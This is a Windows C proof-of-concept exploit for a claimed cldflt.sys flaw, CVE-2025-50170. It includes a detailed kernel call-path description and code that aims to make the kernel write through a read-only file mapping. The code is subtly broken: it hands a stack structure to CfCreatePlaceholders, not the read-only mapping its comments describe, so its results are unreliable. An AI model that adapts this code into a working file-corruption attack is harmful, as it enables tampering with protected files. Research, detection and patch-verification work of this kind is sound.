/*
 * CVE-2025-50170 — cldflt.sys IoReadAccess/Write Mismatch PoC
 *
 * Description:
 *   Demonstrates the IoReadAccess/write mismatch in cldflt.sys
 *   HsmpOpCreatePlaceholders. The pre-patch driver probes and locks the
 *   user buffer with IoReadAccess but later writes placeholder status
 *   (timestamps, USN, flags) back to the same buffer. This allows an
 *   attacker to pass a read-only section mapping of a protected file
 *   and have the kernel write through it, corrupting the file.
 *
 * Reaching the Bug (Attack Surface):
 *   User-mode entry point:
 *     CfCreatePlaceholders() [cldapi.dll]
 *       → NtFsControlFile(FSCTL_HSM_CONTROL) to cldflt.sys
 *         → HsmFltPreFILE_SYSTEM_CONTROL()
 *           → HsmFltProcessHSMControl()
 *             → HsmFltProcessCreatePlaceholders()
 *               → HsmpOpCreatePlaceholders()
 *                 → IoAllocateMdl(userBuffer, size)
 *                 → ProbeForRead(userBuffer, size, 4)    ← READ only
 *                 → MmProbeAndLockPages(MDL, UserMode, IoReadAccess=0)  ← BUG
 *                 → [loop] creates placeholders, writes status BACK to buffer
 *
 *   The Cloud Files API (cldapi.dll) is the easiest entry point.
 *   CfCreatePlaceholders is a documented Win32 API available to any user.
 *   Alternatively, DeviceIoControl with FSCTL_HSM_CONTROL directly.
 *
 * This PoC:
 *   1. Creates a test file with known "canary" content
 *   2. Opens the file read-only and creates a section mapping
 *   3. Registers a Cloud Files sync root (required for CF API)
 *   4. Calls CfCreatePlaceholders with the read-only mapping as the buffer
 *   5. Checks whether the canary content was overwritten
 *
 * Impact:
 *   Arbitrary file corruption — kernel writes placeholder metadata through
 *   a read-only mapping, bypassing file access controls.
 *
 * Usage:
 *   cl.exe /W4 poc_cve_2025_50170.c /Fe:poc_cve_2025_50170.exe /link cldapi.lib ole32.lib
 *   poc_cve_2025_50170.exe
 *
 * Expected output (pre-patch):
 *   [+] File content MODIFIED — kernel wrote through read-only mapping!
 *   [!] SYSTEM IS VULNERABLE to CVE-2025-50170.
 *
 * Expected output (post-patch):
 *   [*] File content intact — MmProbeAndLockPages(IoWriteAccess) rejected.
 *   [*] System appears PATCHED.
 *
 * Author: OnlyFm252
 * Date:   2026-07-18
 * CVE:    CVE-2025-50170
 *
 * DISCLAIMER: This code is provided for defensive security research and blue
 * team detection testing ONLY. Do not use for unauthorized access. This PoC
 * targets a benign test file, not system files.
 */

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winternl.h>   /* NTSTATUS — required before cfapi.h on SDK 28000+ */
#include <objbase.h>    /* CoInitializeEx, CoUninitialize */
#include <stdio.h>
#include <cfapi.h>

#pragma comment(lib, "cldapi.lib")
#pragma comment(lib, "ole32.lib")

/* Known canary pattern to detect writes */
#define CANARY_PATTERN 0xDEADBEEF
#define CANARY_SIZE    4096

/*
 * CF_PLACEHOLDER_CREATE_INFO structure for CfCreatePlaceholders.
 * Each entry describes a placeholder file to create. The kernel
 * writes back status (timestamps, USN, etc.) to an output field
 * within the same buffer.
 *
 * The exploit abuses the fact that the kernel MDL-locks the buffer
 * with IoReadAccess but writes to it, allowing a read-only mapping
 * of any readable file to be used as the buffer target.
 */

static BOOL create_canary_file(const WCHAR *path)
{
    HANDLE hFile;
    DWORD written;
    DWORD pattern[CANARY_SIZE / sizeof(DWORD)];

    /* Fill with known pattern */
    for (int i = 0; i < CANARY_SIZE / (int)sizeof(DWORD); i++) {
        pattern[i] = CANARY_PATTERN;
    }

    hFile = CreateFileW(path, GENERIC_WRITE, 0, NULL,
                        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[!] CreateFileW (canary) failed: %lu\n", GetLastError());
        return FALSE;
    }

    WriteFile(hFile, pattern, CANARY_SIZE, &written, NULL);
    CloseHandle(hFile);
    return TRUE;
}

static BOOL check_canary_file(const WCHAR *path)
{
    HANDLE hFile;
    DWORD read_bytes;
    DWORD buffer[CANARY_SIZE / sizeof(DWORD)];
    BOOL modified = FALSE;

    hFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL,
                        OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[!] Cannot open canary file for verification: %lu\n", GetLastError());
        return FALSE;
    }

    ReadFile(hFile, buffer, CANARY_SIZE, &read_bytes, NULL);
    CloseHandle(hFile);

    for (DWORD i = 0; i < read_bytes / sizeof(DWORD); i++) {
        if (buffer[i] != CANARY_PATTERN) {
            printf("    Byte offset 0x%x: expected 0x%08X, got 0x%08X\n",
                   (unsigned)(i * sizeof(DWORD)), CANARY_PATTERN, buffer[i]);
            modified = TRUE;
            break;
        }
    }

    return modified;
}

int wmain(void)
{
    WCHAR temp_path[MAX_PATH];
    WCHAR canary_path[MAX_PATH];
    WCHAR sync_root[MAX_PATH];
    HANDLE hFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL;
    PVOID pView = NULL;
    HRESULT hr;

    printf("=== CVE-2025-50170 — cldflt.sys IoReadAccess/Write Mismatch PoC ===\n\n");

    hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    if (FAILED(hr)) {
        printf("[!] CoInitializeEx failed: 0x%08lx\n", hr);
        return 1;
    }

    GetTempPathW(MAX_PATH, temp_path);

    /* ----------------------------------------------------------------
     * Step 1: Create canary file with known content
     * ---------------------------------------------------------------- */
    swprintf_s(canary_path, MAX_PATH, L"%scve_2025_50170_canary.dat", temp_path);
    printf("[1] Creating canary file: %ls\n", canary_path);
    printf("    Content: 0x%08X repeated (%d bytes)\n", CANARY_PATTERN, CANARY_SIZE);

    if (!create_canary_file(canary_path)) {
        goto cleanup;
    }

    /* ----------------------------------------------------------------
     * Step 2: Open canary file READ-ONLY and create section mapping
     *
     * This creates a read-only view of the file. On pre-patch systems,
     * the kernel will accept this as the buffer for placeholder creation
     * because MmProbeAndLockPages only checks IoReadAccess.
     * ---------------------------------------------------------------- */
    printf("\n[2] Opening canary file with GENERIC_READ only...\n");

    hFile = CreateFileW(canary_path, GENERIC_READ,
                        FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                        OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[!] CreateFileW (read-only) failed: %lu\n", GetLastError());
        goto cleanup;
    }

    hSection = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!hSection) {
        printf("[!] CreateFileMappingW failed: %lu\n", GetLastError());
        goto cleanup;
    }

    pView = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
    if (!pView) {
        printf("[!] MapViewOfFile failed: %lu\n", GetLastError());
        goto cleanup;
    }

    printf("    Read-only mapping at %p (size %d)\n", pView, CANARY_SIZE);

    /* ----------------------------------------------------------------
     * Step 3: Set up sync root directory for Cloud Files API
     *
     * CfCreatePlaceholders requires a registered sync root.
     * We create a temporary one for this test.
     * ---------------------------------------------------------------- */
    swprintf_s(sync_root, MAX_PATH, L"%scve_2025_50170_syncroot", temp_path);
    printf("\n[3] Creating sync root: %ls\n", sync_root);

    CreateDirectoryW(sync_root, NULL);

    /* Register sync root with minimal policy */
    CF_SYNC_REGISTRATION reg = {0};
    reg.StructSize = sizeof(reg);
    reg.ProviderName = L"CVE-2025-50170-PoC";
    reg.ProviderVersion = L"1.0";

    CF_SYNC_POLICIES policies = {0};
    policies.StructSize = sizeof(policies);
    policies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    policies.Population.Primary = CF_POPULATION_POLICY_FULL;
    policies.InSync = CF_INSYNC_POLICY_NONE;
    policies.HardLink = CF_HARDLINK_POLICY_NONE;

    hr = CfRegisterSyncRoot(sync_root, &reg, &policies, CF_REGISTER_FLAG_NONE);
    if (FAILED(hr)) {
        printf("[!] CfRegisterSyncRoot failed: 0x%08lx\n", hr);
        printf("    (This may fail if cldflt.sys is not loaded)\n");
        printf("    Try: fltmc load cldflt\n");
        goto cleanup;
    }

    /* ----------------------------------------------------------------
     * Step 4: Attempt CfCreatePlaceholders with read-only buffer
     *
     * On pre-patch:
     *   MmProbeAndLockPages(MDL, UserMode, IoReadAccess=0) succeeds
     *   Kernel writes placeholder status through the read-only mapping
     *   The canary file gets corrupted
     *
     * On post-patch:
     *   MmProbeAndLockPages(MDL, UserMode, IoWriteAccess=1) fails
     *   STATUS_ACCESS_VIOLATION returned
     *   Canary file remains intact
     * ---------------------------------------------------------------- */
    printf("\n[4] Calling CfCreatePlaceholders with read-only mapping as buffer...\n");
    printf("    If the kernel writes through the read-only mapping,\n");
    printf("    the canary file will be corrupted.\n");

    CF_PLACEHOLDER_CREATE_INFO placeholder = {0};
    placeholder.FileIdentity = L"test_placeholder";
    placeholder.FileIdentityLength = (DWORD)(wcslen(L"test_placeholder") * sizeof(WCHAR));
    placeholder.RelativeFileName = L"poc_test.txt";
    placeholder.FsMetadata.FileSize.QuadPart = 1024;
    placeholder.FsMetadata.BasicInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
    placeholder.Flags = CF_PLACEHOLDER_CREATE_FLAG_NONE;

    DWORD entriesProcessed = 0;
    hr = CfCreatePlaceholders(sync_root, &placeholder, 1, CF_CREATE_FLAG_NONE,
                              &entriesProcessed);

    printf("    CfCreatePlaceholders returned: 0x%08lx\n", hr);
    printf("    Entries processed: %lu\n", entriesProcessed);

    /* Unmap before checking */
    if (pView) { UnmapViewOfFile(pView); pView = NULL; }
    if (hSection) { CloseHandle(hSection); hSection = NULL; }
    if (hFile != INVALID_HANDLE_VALUE) { CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE; }

    /* ----------------------------------------------------------------
     * Step 5: Check if canary file was corrupted
     * ---------------------------------------------------------------- */
    printf("\n[5] Checking canary file integrity...\n");

    if (check_canary_file(canary_path)) {
        printf("\n    [+] File content MODIFIED — kernel wrote through read-only mapping!\n");
        printf("    [!] SYSTEM IS VULNERABLE to CVE-2025-50170.\n");
        printf("    [!] An attacker can corrupt ANY readable file via this primitive.\n");
    } else {
        printf("\n    [*] File content intact — MmProbeAndLockPages(IoWriteAccess) rejected.\n");
        printf("    [*] System appears PATCHED (post-KB5063878).\n");
    }

cleanup:
    if (pView) UnmapViewOfFile(pView);
    if (hSection) CloseHandle(hSection);
    if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile);

    /* Unregister sync root */
    CfUnregisterSyncRoot(sync_root);
    RemoveDirectoryW(sync_root);
    DeleteFileW(canary_path);

    CoUninitialize();

    printf("\n=== Done. ===\n");
    return 0;
}
